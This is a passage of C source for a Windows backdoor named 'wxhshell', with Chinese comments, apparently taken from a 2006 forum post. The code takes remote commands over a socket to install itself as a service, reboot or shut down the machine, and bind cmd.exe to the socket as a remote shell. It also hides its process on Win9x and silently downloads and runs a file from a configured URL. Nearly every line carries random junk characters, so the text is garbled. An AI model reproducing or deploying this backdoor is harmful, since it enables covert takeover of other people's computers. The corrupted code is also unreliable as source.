  ![l`@NH[U  
  // 帮助 @?!&M c2  
  case '?': { EK=PY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DbIn3/W Ne  
    break; dum(T  
  } Ht_7:5v&   
  // 安装 &o]ic(74c?  
  case 'i': { E-?@9!2 &  
    if(Install()) Q GoBugU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OB5t+_ s  
    else 6 #m:=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 31)eDs  
    break; z1vSt[s  
    } >)6d~  
  // 卸载 1 LUvs~Qu  
  case 'r': { r' E|6_0  
    if(Uninstall()) n{8v^x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l/6$BP U`  
    else ,JONc9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U6K!FOND  
    break; t*dd/a  
    } 55K(]%t  
  // 显示 wxhshell 所在路径 4E 32DG*  
  case 'p': { tuIQiWHbM  
    char svExeFile[MAX_PATH]; sOb=+u$$9  
    strcpy(svExeFile,"\n\r"); ;/s##7qf  
      strcat(svExeFile,ExeFile); eH' J  
        send(wsh,svExeFile,strlen(svExeFile),0); Wa!}$q+  
    break; [Zj6v a  
    } @ ?CEi#-  
  // 重启 A=bBI>GEYP  
  case 'b': { .h=H?Hr(V]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =Yt)b/0b9  
    if(Boot(REBOOT)) O&@pi-=o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{:bq`56f  
    else { L/*K4xQ  
    closesocket(wsh); S*w;$`Y  
    ExitThread(0); ?f&O4H  
    } k?VH4 yA  
    break; dSPye z  
    } DC+l3N  
  // 关机 n1r'Y;G  
  case 'd': { JS#AoPWA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TJ+,G4z  
    if(Boot(SHUTDOWN)) IEeh9:Km  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rPXy(d1<`S  
    else { Qoom[@$  
    closesocket(wsh); <&MY/vV  
    ExitThread(0); L7OFZ|gUz  
    } ZMGthI}~-  
    break; ukwO%JAr  
    } b 67l\L  
  // 获取shell WNcJ710k27  
  case 's': { .ovG_O  
    CmdShell(wsh); Z>(K|3_  
    closesocket(wsh); n1PV/ Z  
    ExitThread(0); u)9YRMl  
    break; kmur={IR  
  } C|-QU  
  // 退出 -APbN(Vi  
  case 'x': { H}PZJf_E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {2T;^+KE  
    CloseIt(wsh); "fOxS\er  
    break; DTo P|P  
    } }2.0e5[  
  // 离开 E:ti]$$  
  case 'q': { x't@Mc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UJ7{FN=@t  
    closesocket(wsh); yP0XA=,Y  
    WSACleanup(); ,HECHA_"  
    exit(1); [iUy_ C=qp  
    break; \Y^GA;AMQQ  
        } h)pYV>!d  
  } , ePl>m:Z  
  } h42dk(B  
't n-o  
  // 提示信息 &@fW6},iW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fx*Q,}t  
} TxvvCV^  
  } P]<15l  
M%v 6NxN  
  return; bu,xIT^  
} *yqke<o9)  
NEW0dF&)  
// shell模块句柄 C8AR ^F W  
int CmdShell(SOCKET sock) T07 AH  
{ 80"oT'ZFh  
STARTUPINFO si; 3='Kii=LA  
ZeroMemory(&si,sizeof(si)); -muP.h/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I/)*pzt8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N?><%fra  
PROCESS_INFORMATION ProcessInfo; ~'VVCtA  
char cmdline[]="cmd"; KS Q*HO)5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8c5=Px2\  
  return 0; Uc( z|  
} 1{.5X8y1x  
Q9{f'B  
// 自身启动模式 ",P?jgs^g5  
int StartFromService(void) &}!AjA)  
{ 7=a=@D[  
typedef struct >6Ody<JPHP  
{ f6`W(OiE  
  DWORD ExitStatus; \JDxN  
  DWORD PebBaseAddress; k%?qN,Cl  
  DWORD AffinityMask; NS){D7T  
  DWORD BasePriority; cQrXrij;!  
  ULONG UniqueProcessId; bwe)_<c  
  ULONG InheritedFromUniqueProcessId; 9;fs'R  
}   PROCESS_BASIC_INFORMATION; Q=t_m(:0  
6 jU ?~  
PROCNTQSIP NtQueryInformationProcess; <$Dj ags,F  
eqk.+~^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5,9cD`WR^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  3 EOuJ  
R{UZCFZ  
  HANDLE             hProcess; cp2a @  
  PROCESS_BASIC_INFORMATION pbi; -%TwtO<$']  
qJ[wVNHh!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  Y}e3:\  
  if(NULL == hInst ) return 0; +do* C =z  
X3HJ3F;==  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %J+k.UrM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8^!ib/@v"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1pP q)}=+  
!*PX -  
  if (!NtQueryInformationProcess) return 0; N5 mhs#  
>OKc\m2%Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <.:mp1,8V  
  if(!hProcess) return 0; <vd}oiB@  
pER[^LH_)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MUUhg  
?N]G;%3/  
  CloseHandle(hProcess); W/.Wp|C}K3  
2/ejU,S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |y&vMx~t  
if(hProcess==NULL) return 0; y\Wp} }  
.t.4y. 97  
HMODULE hMod; ='6@^6y  
char procName[255]; p~OX1RBI  
unsigned long cbNeeded; ?dmw z4k0  
n^` `)"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #rQT)n  
\jr-^n]  
  CloseHandle(hProcess); #g~]2x  
zz #IY'dwT  
if(strstr(procName,"services")) return 1; // 以服务启动 &?# YjU"  
#>2cfZ`6'J  
  return 0; // 注册表启动 JPpNCC.b  
} [a7S?%>Bh  
A>6_h1  
// 主模块 Awe'MGp%  
int StartWxhshell(LPSTR lpCmdLine) x\pygzQ/  
{ ]F #0to  
  SOCKET wsl; f{U,kCv  
BOOL val=TRUE; ?f*>=;7=  
  int port=0; j-v/;7s/B  
  struct sockaddr_in door; Sg1 ,9[pb  
m}t`43}QE  
  if(wscfg.ws_autoins) Install(); rEoOv  
0yxwsBLy  
port=atoi(lpCmdLine); @B9#Hrc  
w:2yFC  
if(port<=0) port=wscfg.ws_port; ]W7&ZpF  
Si68_]:^  
  WSADATA data; n/^QPR$>.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }[OEtd{  
40$9./fe)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S*%:ID|/C2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rd^j<  
  door.sin_family = AF_INET; gF\ac%9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jV' tcFr4  
  door.sin_port = htons(port); tD])&0"(  
4"eeEs h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v1$ }JX   
closesocket(wsl); !X 0 (4^  
return 1; aZ}z/.b]  
} ]0g1P-&,U  
*}Rd%'  
  if(listen(wsl,2) == INVALID_SOCKET) { Ox6^=D "  
closesocket(wsl); ZWx4/G  
return 1; Fl++rUT  
} ~e=KBYDBu  
  Wxhshell(wsl); GuQ#  
  WSACleanup(); }R`}Ey|{  
'8b=4mrbH  
return 0; _#w5hX cu  
a]4|XJ_  
} j2jUrl  
uKo4nXVtp  
// 以NT服务方式启动 mWuhXY^Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D1EHT}  
{ t}gK)"g  
DWORD   status = 0; ]% UAN_T  
  DWORD   specificError = 0xfffffff; $B`bsJ  
uR82},r$m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [}y"rs`!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _RX*Ps=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =GLMdhD]  
  serviceStatus.dwWin32ExitCode     = 0; 6H:EBj54?  
  serviceStatus.dwServiceSpecificExitCode = 0; [bd?$q i  
  serviceStatus.dwCheckPoint       = 0; 4<U6jB5  
  serviceStatus.dwWaitHint       = 0; #DcK{|ty  
yJw4!A 1!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !}HT&N8[r  
  if (hServiceStatusHandle==0) return; =[o/D0-Kn  
M:w]g`LKl  
status = GetLastError(); m\ /V0V\  
  if (status!=NO_ERROR) G_?qY#"(  
{ O9F#gO|!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dNz!2mbO  
    serviceStatus.dwCheckPoint       = 0; sUsIu,1Q  
    serviceStatus.dwWaitHint       = 0; m ,TYF  
    serviceStatus.dwWin32ExitCode     = status;  Fr9_!f  
    serviceStatus.dwServiceSpecificExitCode = specificError; el,n5O Z7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '8fL)Zk  
    return; mC84fss  
  } #NWc<Dd  
,y/N^^\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H/Ov8|  
  serviceStatus.dwCheckPoint       = 0; +K[H! fD  
  serviceStatus.dwWaitHint       = 0; j(\jYH>   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SL>0_  
} U+g<lgH1J  
NGb\e5?  
// 处理NT服务事件,比如:启动、停止 pw1&WP&?3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T8a!"lPP7  
{ xr-v"-  
switch(fdwControl) GZ/vUe  
{ 84ma X'  
case SERVICE_CONTROL_STOP: AN-;*n<'  
  serviceStatus.dwWin32ExitCode = 0; -j"2rIl4#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kM/;R)3t4/  
  serviceStatus.dwCheckPoint   = 0; Fv9n>%W&  
  serviceStatus.dwWaitHint     = 0; /<oBgFMoJ  
  { Hsz).u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '} LAZQ"  
  } )wz3 m L  
  return; )F4P-u  
case SERVICE_CONTROL_PAUSE: 6B>H75S+H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *|k/lI  
  break; i fbO<  
case SERVICE_CONTROL_CONTINUE: D[}qhDlX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -pm^k-%v  
  break; 2:& [r*  
case SERVICE_CONTROL_INTERROGATE: n+uDg  
  break; !RwOU Ck  
}; 3L(vZ2&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {F+iL&e)  
} n:[GK_  
m;KD@E!  
// 标准应用程序主函数 ZtqN8$[6n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w@ =Uf7  
{ Og~3eL[1%C  
T)PH8 "  
// 获取操作系统版本 t@\op}Z-M  
OsIsNt=GetOsVer(); 6H}8^'/u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qcr-|?5L  
lVQy {`Ns  
  // 从命令行安装 }Ii5[nRN  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3F6=/  
C!}9[X!7@:  
  // 下载执行文件 u|]`gsFZ\  
if(wscfg.ws_downexe) { VVyms7 VN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~!{y3thZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZJ|'$=lR  
} > H(o=39s  
vL"[7'  
if(!OsIsNt) { w(Hio-l=  
// 如果时win9x,隐藏进程并且设置为注册表启动 42mZ.,<  
HideProc(); uKocEWB=/F  
StartWxhshell(lpCmdLine); H '(Ky  
} Bys_8x}  
else <rpXhcR  
  if(StartFromService()) \z PcnDB  
  // 以服务方式启动 /{d5$(Y"  
  StartServiceCtrlDispatcher(DispatchTable); byUstm6y  
else B)4>:j:{?W  
  // 普通方式启动 )mw&e}jRV  
  StartWxhshell(lpCmdLine); !%4&O  
q k+(Ccl  
return 0; }hv" ku6!  
}
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只看该作者 1 发表于: 2006-10-10
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